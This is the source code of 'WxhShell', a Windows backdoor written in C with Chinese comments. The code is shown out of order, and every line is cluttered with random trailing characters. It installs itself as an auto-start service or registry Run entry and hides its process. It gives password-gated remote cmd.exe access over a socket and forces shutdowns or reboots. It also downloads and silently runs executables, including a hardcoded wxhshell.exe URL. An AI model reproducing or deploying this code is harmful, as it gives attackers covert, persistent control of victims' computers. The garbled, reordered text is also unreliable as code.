    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GPhl4#'  
    if(Boot(SHUTDOWN)) X=JmF97  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L TV{{Z+  
    else { ZoB*0H-  
    closesocket(wsh); @$"J|s3M  
    ExitThread(0); mffn//QS  
    } NgCuFL(Ic  
    break; r"2V  
    } 7'-Lp@an  
  // 获取shell 9j ]sD/L5q  
  case 's': { HmfG$Z  
    CmdShell(wsh); X:a`B(@S  
    closesocket(wsh); N..j{FE  
    ExitThread(0); /yz=Cjoz  
    break; UtB6V)YI  
  } l\AMl \  
  // 退出 *%w6 9#D  
  case 'x': { Ut-B^x)gl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {qW~"z*  
    CloseIt(wsh); P&d"V<  
    break; o*x*jn:hm  
    } p(xC*KWB  
  // 离开 XoL JL]+?  
  case 'q': { [ xOzzp4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;= j@, yu  
    closesocket(wsh); fJ\sguZ  
    WSACleanup(); ^_t%kmL`  
    exit(1); )VCzn~uf  
    break; P1b'%  
        } pL1Q7&&c0  
  } hUQ,z7-  
  } CycUeT  
I1X /Lj=  
  // 提示信息 M<SdPC(+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &1l=X]%  
} +x9cT G  
  } {e|*01hE  
.6O"| Mqb  
  return; o-xDh7v  
} -[= drj9I  
ms($9Lv/  
// shell模块句柄 ~^u16z,  
int CmdShell(SOCKET sock) Wk:hFHs3  
{ E_F5(x SA  
STARTUPINFO si; }R3=fbe,\  
ZeroMemory(&si,sizeof(si)); +$xeoxU>;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q'+MFld   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l no vykR  
PROCESS_INFORMATION ProcessInfo; ;U1UFqZ`  
char cmdline[]="cmd"; kyAXRwzI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _A<u#.yd  
  return 0; }?cGf- c  
} tt%MoQ)   
A*. /,KT  
// 自身启动模式 _, ;j7%j  
int StartFromService(void) x}U8zt)yD3  
{ ze_{=Cv&Y  
typedef struct Wv__ wZ  
{ `28};B>  
  DWORD ExitStatus; %}86D[PF  
  DWORD PebBaseAddress; M :3u@06a  
  DWORD AffinityMask; ] 2DH;  
  DWORD BasePriority; ZYf2XI(_"  
  ULONG UniqueProcessId; =. y*_Ja  
  ULONG InheritedFromUniqueProcessId; HL/bS/KX  
}   PROCESS_BASIC_INFORMATION; uE[(cko  
OmM=o*d  
PROCNTQSIP NtQueryInformationProcess; +\li*G]:J  
#`GY}-hL!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S$f6a'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > 0{S  
U yw-2]!n  
  HANDLE             hProcess; s5RjIa0$7  
  PROCESS_BASIC_INFORMATION pbi; mh<=[J,%p  
eI1GXQ%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aNyvNEV3C  
  if(NULL == hInst ) return 0; `/Nm 2K  
i,13b e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BmHwu{n'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3nY1[,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }HE6aF62O  
sC[yI Up  
  if (!NtQueryInformationProcess) return 0; JFgoN,xn  
;q0uE:^ S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {lth+{&L#  
  if(!hProcess) return 0; GE>[*zN  
9N%JP+<89  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H _Va"yTO6  
OB ~X/  
  CloseHandle(hProcess); #,{+3Y&5-+  
.I}:m%zv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JbB}y'c4}=  
if(hProcess==NULL) return 0; b$k&dT\o  
B\g]({E  
HMODULE hMod; _(m't n>   
char procName[255]; kE TT4U  
unsigned long cbNeeded; n.hv!W0  
UpXz&k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \7"@RHcihB  
Ll MpS<2NO  
  CloseHandle(hProcess); 86f2'o+  
CF|]e:  
if(strstr(procName,"services")) return 1; // 以服务启动 GE|+fYVM-$  
~[k%oA%W  
  return 0; // 注册表启动 UD~p'^.m_  
} $D31Q[p=+  
N_L,]QT?  
// 主模块  p!Eft/A(  
int StartWxhshell(LPSTR lpCmdLine) vzF5xp.  
{ rbT)=-(  
  SOCKET wsl; p;?*}xa  
BOOL val=TRUE; S4witIK5  
  int port=0; CE15pNss  
  struct sockaddr_in door; +i\&6HGK;-  
Sx    
  if(wscfg.ws_autoins) Install(); #d{=\$=  
G8W#<1LE  
port=atoi(lpCmdLine); RtG}h[k/X  
"U. ^lkN  
if(port<=0) port=wscfg.ws_port; {brMqE>P#  
&'l>rD^o  
  WSADATA data; -T6(hT\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CIjZG?A  
LJX-AO.4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )} DUMq7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pf4 ^Bk}e  
  door.sin_family = AF_INET; oJKa"H-jL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "m{,~'x  
  door.sin_port = htons(port); 7VK}Dy/Vvn  
.oEmU+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A?TBtAe  
closesocket(wsl); H' T  
return 1; W)(^m},*8D  
} xf%4, JQ  
}FF W|f  
  if(listen(wsl,2) == INVALID_SOCKET) { &h*S y  
closesocket(wsl); mj?16\|]  
return 1; M8k"je7`s  
} 7?OH,^  
  Wxhshell(wsl); `RMI(zI3g.  
  WSACleanup(); DoC(Z)o  
>pkT1Z&'  
return 0; _md=Q$9!m  
UN"(5a8.  
} s<x1>Q7X~  
nS()u}c;r  
// 以NT服务方式启动 U $Qv>7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hn,:`mj4-6  
{ K.gEj*@  
DWORD   status = 0; @?C#r.vgp  
  DWORD   specificError = 0xfffffff; 4[ryKPa,  
{%w!@-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; co _oMc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !~_zm*CqbZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tgL$"chj@x  
  serviceStatus.dwWin32ExitCode     = 0; D[O{(<9  
  serviceStatus.dwServiceSpecificExitCode = 0; ?}Z1(it0  
  serviceStatus.dwCheckPoint       = 0; FZB~|3eq{  
  serviceStatus.dwWaitHint       = 0; $ _8g8r}  
<"o"z2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,wwZI`>-  
  if (hServiceStatusHandle==0) return; > Oh?%%6  
P)dL?vkK  
status = GetLastError(); M Jj4Hd  
  if (status!=NO_ERROR) {F&-7u0  
{ >-E<n8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,_!6U  
    serviceStatus.dwCheckPoint       = 0; 3M5#4n\v$  
    serviceStatus.dwWaitHint       = 0; }U@m*dEG  
    serviceStatus.dwWin32ExitCode     = status; UDf9FnG}L  
    serviceStatus.dwServiceSpecificExitCode = specificError; c= UU"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f[gqT yiP  
    return; F#xa`*AP  
  } Ou'?]{  
l0*Gb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3CTX -#)vS  
  serviceStatus.dwCheckPoint       = 0; 4eVI},  
  serviceStatus.dwWaitHint       = 0; bIt=v)%$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4LI0SwD#^/  
} \EbbkN:D  
#G9 ad K5  
// 处理NT服务事件,比如:启动、停止 57F%j3.|/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vUC!fIG  
{ /R X1UQ.s  
switch(fdwControl) O!D/|.Q#%  
{ u% 2<\:~j  
case SERVICE_CONTROL_STOP: ]L2Oz  
  serviceStatus.dwWin32ExitCode = 0; elJ)4Em  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9ykM3  
  serviceStatus.dwCheckPoint   = 0; "s W-_j]  
  serviceStatus.dwWaitHint     = 0; 3`9{T>  
  { wHz?#MW 3L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /EwGW  
  } {>0V[c[~  
  return; 0f ER*.F  
case SERVICE_CONTROL_PAUSE: F{k+7Ftc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dj-s5pAW  
  break; [%HIbw J  
case SERVICE_CONTROL_CONTINUE: ,]R8(bD)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3E} An%  
  break; 8:ggECD  
case SERVICE_CONTROL_INTERROGATE: us?&:L|!=  
  break; ba@ax3  
}; JM0I(%Z%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}Wmd4Y'  
} Bz8 &R|~>"  
eX&Gw{U-f  
// 标准应用程序主函数 ~E4"}n[3A#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oN[Th  
{ ETv9k g  
oFg5aey4  
// 获取操作系统版本 8U~.\`H-PT  
OsIsNt=GetOsVer(); yI:# |w|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q/_[--0&#  
dAx96Og:X"  
  // 从命令行安装 e^).W3SK]  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z+s%;f;  
@-.? B  
  // 下载执行文件 Z\X'd_1!  
if(wscfg.ws_downexe) { qZ2&Xw.{1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ScnY3&rc  
  WinExec(wscfg.ws_filenam,SW_HIDE); toa-Wa{  
} 8uG0^h}  
jRkC/Lw  
if(!OsIsNt) { bv?0.{Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 OVoO6F ]  
HideProc(); L^9HH)Jc  
StartWxhshell(lpCmdLine); >AD =31lq  
} #?} 6t~  
else ed~R>F>  
  if(StartFromService()) V7CoZnz  
  // 以服务方式启动 vTr34n  
  StartServiceCtrlDispatcher(DispatchTable); A,i()R'I  
else  vfvlB[  
  // 普通方式启动 <FFJzNc+  
  StartWxhshell(lpCmdLine); cErI%v}v0  
bk#xiuwT  
return 0; fhp)S",  
} RcY[rnI6  
T)u4S[ &  
s(@h 2:j  
GA^mgm"O  
=========================================== y<r}"TAf-  
Uku5wPS  
:jNYP{Br  
4yV].2#rl"  
\,W.0#D8v4  
A-E+s~U8  
" <3 @}Lj  
f|0lj   
#include <stdio.h> )@QJ  
#include <string.h> "mj^+u-  
#include <windows.h> o 5Zyh26  
#include <winsock2.h> dBEIMn@  
#include <winsvc.h> MB$a82bY  
#include <urlmon.h> a#(U2OP  
=TcOnQj  
#pragma comment (lib, "Ws2_32.lib") &W_th\%  
#pragma comment (lib, "urlmon.lib") 9{J?HFw*;  
k'13f,o}  
#define MAX_USER   100 // 最大客户端连接数 _'iDF  
#define BUF_SOCK   200 // sock buffer #a}N"*P  
#define KEY_BUFF   255 // 输入 buffer  b;vNq  
DnyYMe!r  
#define REBOOT     0   // 重启 }OKL z.5  
#define SHUTDOWN   1   // 关机 VyZV (k  
T&}Ye\%  
#define DEF_PORT   5000 // 监听端口 04-Z vp2  
2;(W-]V?  
#define REG_LEN     16   // 注册表键长度 ZxSsR{  
#define SVC_LEN     80   // NT服务名长度 Bhuw(KeB  
c8Pb  
// 从dll定义API XL"=vbD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9]~PC Z2j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lSCY5[?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z] {@H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JLUms  
h%b hrkD  
// wxhshell配置信息 Qilj/x68  
struct WSCFG { zeOb Aw1O  
  int ws_port;         // 监听端口 >}]H;& l  
  char ws_passstr[REG_LEN]; // 口令 U1\MA6pXW  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z`xyb>$  
  char ws_regname[REG_LEN]; // 注册表键名 gduxA/aT  
  char ws_svcname[REG_LEN]; // 服务名 |HgfV@Han  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oS!/|#m n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S:97B\ u`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D0%FELG05  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0VG=?dq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Bj77?Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MSB%{7'o  
sFx$>:$  
}; i+U51t<  
M7 p8^NL  
// default Wxhshell configuration jeFN*r _  
struct WSCFG wscfg={DEF_PORT, 'Kd7l}e!  
    "xuhuanlingzhe", `i4I!E  
    1, !u0U5>ccw  
    "Wxhshell", KZ\dB;W< |  
    "Wxhshell", sA2o2~AmM  
            "WxhShell Service", jEE_D +K  
    "Wrsky Windows CmdShell Service", Q!) z)-hI  
    "Please Input Your Password: ", bw;iz ,Z  
  1, 1}DerX6  
  "http://www.wrsky.com/wxhshell.exe", }~GV'7d1  
  "Wxhshell.exe" Q0SW;o7  
    }; XPVV+.  
g^n;IE$B  
// 消息定义模块 ORtg>az\%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =F[lg?g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nh :JU?h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W :>J864!  
char *msg_ws_ext="\n\rExit."; mS7E_A8  
char *msg_ws_end="\n\rQuit."; wy\o*P9mG)  
char *msg_ws_boot="\n\rReboot..."; z@n+7p`w  
char *msg_ws_poff="\n\rShutdown..."; Sgx+V"bkT  
char *msg_ws_down="\n\rSave to "; VVN # $  
A?sNXhh  
char *msg_ws_err="\n\rErr!"; Jmy)J!ib*  
char *msg_ws_ok="\n\rOK!"; g1dmkX  
ZpTi:3>  
char ExeFile[MAX_PATH]; 3Pa3f >}-  
int nUser = 0; ])68wqD  
HANDLE handles[MAX_USER]; -_w~JCx  
int OsIsNt; p}r yKW\cJ  
s #`cX0L)  
SERVICE_STATUS       serviceStatus; ;$[VX/A`f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QS%,7'EG  
5D-BIPn=JV  
// 函数声明 clC~2:  
int Install(void);  3:"AFV  
int Uninstall(void); (Z'WR  
int DownloadFile(char *sURL, SOCKET wsh); - YAO3  
int Boot(int flag); {'&8`d  
void HideProc(void); _32/WQF6  
int GetOsVer(void); LNbx3W oC  
int Wxhshell(SOCKET wsl); |oFI[PE  
void TalkWithClient(void *cs); O{*GW0}55  
int CmdShell(SOCKET sock); /o'oF  
int StartFromService(void); i!y\WaCp  
int StartWxhshell(LPSTR lpCmdLine); d^_itC;-,  
f0g6g!&gf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =X<)5IS3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xz="|HD);  
QZ:v  
// 数据结构和表定义 ;7)OSGR  
SERVICE_TABLE_ENTRY DispatchTable[] = AV9:O{  
{ P)4x   
{wscfg.ws_svcname, NTServiceMain}, 89ZDOji?O  
{NULL, NULL} i"KL;t[1  
}; AwA1&mh  
)m)h/_  
// 自我安装 JJ)y2  
int Install(void) K"G(?<>~4c  
{ 7kOE/>P?  
  char svExeFile[MAX_PATH]; Kl!DKeF  
  HKEY key; w# xncH:1  
  strcpy(svExeFile,ExeFile); X #H:&*[!  
c-v*4b/d  
// 如果是win9x系统,修改注册表设为自启动 EOofa6f&l  
if(!OsIsNt) { {W]bU{%.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v5P*<U Ax  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /1H9z`qV  
  RegCloseKey(key); rn[$x(G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,WzG.3^m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `s#sE.=o  
  RegCloseKey(key); Ae3,W  
  return 0; Am]2@ESUP  
    } VoWA tNU  
  } m]Hb+Y=;h  
} o8iig5bp  
else { oPp!*$V  
Qs~d_;  
// 如果是NT以上系统,安装为系统服务 <e$5~Spc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^7J~W'hI  
if (schSCManager!=0) xNocGtS  
{ c&0;wgieg  
  SC_HANDLE schService = CreateService G%y>:$rw[O  
  ( {/th`#o4b  
  schSCManager, (X0`1s  
  wscfg.ws_svcname, J~M H_N  
  wscfg.ws_svcdisp, |;X?">7NW  
  SERVICE_ALL_ACCESS, N:"M&E UM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7AS.)Q#=x  
  SERVICE_AUTO_START, Smi%dp.  
  SERVICE_ERROR_NORMAL, H^]Nmd8Q)  
  svExeFile, ce 7Yr*ZB  
  NULL,  n.=e)*  
  NULL, o",f(v&u%  
  NULL, N`y}Gs  
  NULL, "u .)X3  
  NULL yBJ/>SAcG  
  ); +e&m#d  
  if (schService!=0) ~W]#9&yQ  
  { \9[NH/.Z{  
  CloseServiceHandle(schService); HTR "mQ  
  CloseServiceHandle(schSCManager); x e"4u JO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f)p>nW?Z  
  strcat(svExeFile,wscfg.ws_svcname); Aqx3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }wa}hIqx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a!TBk=P  
  RegCloseKey(key); 8<E!rn-  
  return 0; 4r68`<mn[  
    } #rSasucr  
  } 61ON  
  CloseServiceHandle(schSCManager); c+}!yH$  
} R4z<Xf:!  
}  ;Puy A  
U-wq- GT  
return 1; M63s(f  
} 7.w *+Z>z  
*u:;:W&5y  
// 自我卸载 ;:#?~%7>  
int Uninstall(void) oi33{#%t  
{ UE}8Rkt  
  HKEY key; 3I(dC|d  
uzzWZ9Tv  
if(!OsIsNt) { f.U0E6-(3N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0})7of  
  RegDeleteValue(key,wscfg.ws_regname); "ZA$"^  
  RegCloseKey(key); B,BOzpb(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^P3g9'WK  
  RegDeleteValue(key,wscfg.ws_regname); t1.zWe+C>3  
  RegCloseKey(key); 35]j;8N:  
  return 0; 2XETQ;9  
  } Mhu53DT  
} P;HVLflu  
} al3BWRq'f  
else { +SZ%&  
}"g21-T^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X\c1q4oB[  
if (schSCManager!=0) PsF- 9&_  
{ t5X G^3X@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fY)4]=L  
  if (schService!=0) :>AW@SoTp  
  { qb>|n1F_  
  if(DeleteService(schService)!=0) { rE bx%u7Q  
  CloseServiceHandle(schService); hB2s$QS  
  CloseServiceHandle(schSCManager); iECC@g@a  
  return 0; {|7OmslC@  
  } 0~@L%~  
  CloseServiceHandle(schService); \ pe[V~F  
  } 36x5q 1  
  CloseServiceHandle(schSCManager); HiS,q0  
} 8a":[Q[  
} 2heWE  
Yq)YS]  
return 1; m&8U4uHN  
} [#,X$O>  
r+V(1<`2X  
// 从指定url下载文件 Y_Z &p#Q!  
int DownloadFile(char *sURL, SOCKET wsh) eK=m02  
{ W=;(t  
  HRESULT hr; YN5OuKMUd'  
char seps[]= "/"; R5'Z4.~  
char *token; ~q#[5l(r8  
char *file; w ufKb.4`  
char myURL[MAX_PATH]; u #=kb5}{  
char myFILE[MAX_PATH]; bz}AO))Hk  
xRTg [  
strcpy(myURL,sURL); vBCZ/F[  
  token=strtok(myURL,seps); [# tT o;q  
  while(token!=NULL) pT_e;,KW U  
  { !7,K9/"  
    file=token; KOAz-h@6   
  token=strtok(NULL,seps); XCqfAcNQ  
  } =xlYQ}-(a  
gR_b~ ^  
GetCurrentDirectory(MAX_PATH,myFILE); {%+3D,$)  
strcat(myFILE, "\\"); $S)e"Po~5  
strcat(myFILE, file); &]"_pc/>m  
  send(wsh,myFILE,strlen(myFILE),0); !w;A=  
send(wsh,"...",3,0); v#<+n{B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q=E}#[EgY  
  if(hr==S_OK) [V#&sAe  
return 0; 0-&s J  
else ;2xXX,'R7  
return 1; ,mE]?XyO  
jQK2<-HZ3  
} 0t:|l@zB  
v^lm8/}NO  
// 系统电源模块 Y(G*Yi?;  
int Boot(int flag) {7M4SC@p|  
{ |+4E 8;4_  
  HANDLE hToken; Cn./Naq  
  TOKEN_PRIVILEGES tkp; YRM6\S)py  
g8iB;%6  
  if(OsIsNt) { /kviO@jm4(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zx]M/=7,V#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ezq q@t9  
    tkp.PrivilegeCount = 1; wHN` - 5%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xdTzG4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U0|j^.)  
if(flag==REBOOT) { sVm'9k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) as!|8JE`  
  return 0; FDGKMGZ  
} /+JP~ K  
else { Zkb,v!l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BUy}Rn  
  return 0; E/ed0'|m  
} ~BYEeUo;%v  
  } 3 z/O`z  
  else { ?'$. -z:  
if(flag==REBOOT) { N(({2'Rr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2QuypVC ]  
  return 0; bM3'm$34  
} A&_i]o  
else { t;a}p_>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s7)# NT2  
  return 0; 8-g$HXqs_#  
} '?!<I  
} B8#f^}8  
C` 1\$U~%  
return 1; 5bqYi  
} :-'ri Ry  
LM`tNZ1Fc!  
// win9x进程隐藏模块 QX~72X=(  
void HideProc(void) O6/=/-?N=c  
{ r'JK$9  
>,Swk3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T.Y4L  
  if ( hKernel != NULL ) TX5/{cHd  
  { zm^p7&ak$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N@`9 ~JS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v_ F?x!  
    FreeLibrary(hKernel); {~p %\  
  } +w}%gps  
(S93 %ii  
return; Z YO/'YW  
} _q!ck0_  
B(vz$QE,$r  
// 获取操作系统版本 H(ftOd.y  
int GetOsVer(void) %KVRiX  
{ 5>k~yaju/  
  OSVERSIONINFO winfo; <HX-qNA?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [(^''*7r+T  
  GetVersionEx(&winfo); HBkQ`T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WAXrA$:3J  
  return 1;  u^eC  
  else )UU6\2^  
  return 0; &(U=O?r7  
} Ita!07  
M(f*hOG{Y  
// 客户端句柄模块 Vh-h{  
int Wxhshell(SOCKET wsl) )t 7HioQ  
{ I Y-5/  
  SOCKET wsh; :95_W/l  
  struct sockaddr_in client; -8J@r2\  
  DWORD myID; mp$II?hZ*  
Rn ^N+3o'M  
  while(nUser<MAX_USER) Mh B=+S[@  
{ ?=o]Wx0(9  
  int nSize=sizeof(client); HOI`F3#XI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w5G34[v  
  if(wsh==INVALID_SOCKET) return 1; vP;tgW9Qk  
j3'/jk]\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Q+5M"/8  
if(handles[nUser]==0) @ShJ:  
  closesocket(wsh); SxQDqoA~  
else ;@\J scNJ|  
  nUser++; x~,?Zj)n?C  
  } ll^O+>1dO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e/I{N0SR  
o~N-x*   
  return 0; 6*oTT(0<p  
} vb2O4%7tw  
|"&4"nwa  
// 关闭 socket Olrw>YbW  
void CloseIt(SOCKET wsh) ?fwr:aP~  
{ E*]L]vR  
closesocket(wsh); fO|u(e  
nUser--; XSIO0ep  
ExitThread(0); Ppn ZlGQ6  
} E)SOcM)  
d`*vJ#$> 2  
// 客户端请求句柄 ApB'O;5  
void TalkWithClient(void *cs) m`6`a|Twp$  
{ 5w%9b  
e/l?|+m 6  
  SOCKET wsh=(SOCKET)cs; fA,!d J  
  char pwd[SVC_LEN]; !: [` V!{  
  char cmd[KEY_BUFF]; 4y)1*VU:  
char chr[1]; nr6[rq  
int i,j; C /VXyl@o  
bJ[1'Es `  
  while (nUser < MAX_USER) { rMx_ <tXX  
Xc<9[@  
if(wscfg.ws_passstr) { ;L{y3CWT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $9b6,Y_-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yhdt8[ 2  
  //ZeroMemory(pwd,KEY_BUFF); :njUaMFoMA  
      i=0; %[;KO&Ga  
  while(i<SVC_LEN) { T3 /LUm  
G4]``  
  // 设置超时 ?["ZEa  
  fd_set FdRead; pfIvBU?  
  struct timeval TimeOut; KWkT 9[H  
  FD_ZERO(&FdRead); ~#xRoBy3  
  FD_SET(wsh,&FdRead); RozsRt;i  
  TimeOut.tv_sec=8; 2^j9m}`  
  TimeOut.tv_usec=0; +w/o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <0MUn#7'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kn]WXc|("  
hj[g2S%X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }e6:&`a xD  
  pwd=chr[0]; 3@A k6Uh  
  if(chr[0]==0xd || chr[0]==0xa) { ucO]&'hu:  
  pwd=0; Kqjeqr@)  
  break; b?^<';,5  
  } "@Fxfd+Ot  
  i++; 'S ;vv]}Gs  
    } {uG_)GFr0  
7~f l4*  
  // 如果是非法用户,关闭 socket A).AAr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OuH]Y70(  
} [! o -F;  
u-<s@^YG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L~zet-3UNf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6ns_4, e  
a&PZ7!PZv  
while(1) { 9tgkAU`  
!r,d rb  
  ZeroMemory(cmd,KEY_BUFF); qdZYaS ~  
my0->W%L  
      // 自动支持客户端 telnet标准   Tj#XsD?J  
  j=0; <;K/Yv'{r  
  while(j<KEY_BUFF) { x F#)T *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w, wt<@}  
  cmd[j]=chr[0]; /otgFQ_  
  if(chr[0]==0xa || chr[0]==0xd) { D[?|\?  
  cmd[j]=0; U h}yHD`K  
  break; W>49,A,q  
  } XsCbA8Qv  
  j++; :zoX Xo  
    } 'LI)6;Yc  
djp(s$:{4  
  // 下载文件 V19*~v=u  
  if(strstr(cmd,"http://")) { cke[SUH,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q fe#kF9  
  if(DownloadFile(cmd,wsh)) r~t7Z+PXF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_EN4p~J  
  else )$i3j 1[;  
